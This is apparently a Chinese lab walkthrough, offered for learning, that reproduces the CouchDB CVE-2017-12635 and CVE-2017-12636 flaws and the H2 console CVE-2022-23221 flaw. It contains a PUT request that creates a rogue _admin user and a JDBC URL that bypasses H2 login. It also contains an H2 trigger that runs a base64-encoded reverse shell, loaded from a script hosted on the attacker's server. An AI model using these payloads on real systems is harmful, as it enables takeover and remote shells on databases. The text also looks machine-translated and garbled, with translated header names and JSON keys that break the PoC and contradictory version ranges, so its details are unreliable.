当前位置:编程学堂 > Couchdb

Couchdb

  • 发布:2023-10-01 20:23

Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2数据库命令执行--(CVE-2022-23221)

环境概览

使用Vulfocus射击场环境进行重现。搭建操作及文章请参考具体搭建教程。请参考vulfocus无法同步/vulfocus同步失败的解决方案。

Couchdb CVE-2017-12635 权限绕过

漏洞概述

Apache CouchDB 是一个开源数据库,专注于易用性,并成为“完全拥抱 Web 的数据库”。它是一个NoSQL数据库,使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API。它被广泛使用,例如BBC的动态内容展示平台、瑞士信贷的内部商品部门营销框架、Meebo的社交平台(Web和应用程序)。 2017 年 11 月 15 日,披露了 CVE-2017-12635 和 CVE-2017-12636。

默认端口

5984端口

影响范围

小于 1.7.0 且小于 2.1.1

漏洞重现

启动Vulfocus靶场环境后,根据映射的端口号访问
访问成功后显示版本号
访问登录界面抓包测试
访问地址

/_utils/#login

抓包,将请求方式改为PUT方式,请求包后添加json数据
POC

PUT /_users/org.couchdb.user:hack HTTP/1.1
主机:IP地址加端口
接受: */*
接受语言:en
用户代理:Mozilla/5.0(兼容;MSIE 9.0;Windows NT 6.1;Win64;x64;Trident/5.0)
连接:关闭
内容类型:application/json
内容长度:108

{
  “类型”:“用户”,
  “名称”:“黑客”,
  “角色”:[“_admin”],
  “角色”:[],
  “密码”:“黑客”
}

只需在相应位置修改你要创建的用户和密码即可
使用创建的用户名和密码尝试登录,登录成功则漏洞利用成功

Couchdb CVE-2017-12636 命令执行

默认端口

5984端口

影响范围

小于 1.7.0 且小于 2.1.1

利用

该漏洞的利用需要用户权限。可以利用CVE-2017-12635漏洞添加数据库用户并执行命令

环境启动后直接下载EXP,并修改EXP目标地址的端口号和目标数据库版本
下载地址参考CVE-2017-12636/www.sychzs.cn
只需修改EXP中执行的命令目标和数据库版本即可

H2数据库CVE-2022-23221命令执行

漏洞概述

Java SQL Database H2,H2的主要特点是:非常快、开源、JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中另一个未经身份验证的 RCE 漏洞,已在 v2.1.210+ 中修复。 2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

影响范围

Spring Boot + H2

spring.h2.console.enabled=true

JDK < 6u201、7u191、8u182、11.0.1 (LDAP)

默认端口

20051 端口

利用

环境启动后,会看到如下界面

  1. 未经授权的进入:
  • 将以下命令放入 JDBC URL 中即可直接访问数据库
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
  1. 命令执行
  • 首先创建sql文件,并将sql文件放入服务器。这里我使用python启用web服务,并将sql文件放入主目录
创建表测试(
     ID 整数不为空
 );
在插入测试之前创建触发器 TRIG_JS AS '//javascript
java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密反弹shell命令}|{base64,-d}|{bash,-i}"); ';
  • 启用网络服务
python3 -m http.server 端口
  • 启用目标数据库加载远程sql文件
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://buildIP:port/h2database.sql';\

以上内容仅供学习记录。如有错误或纰漏,敬请批评指正。感谢您的阅读。

相关文章

热门推荐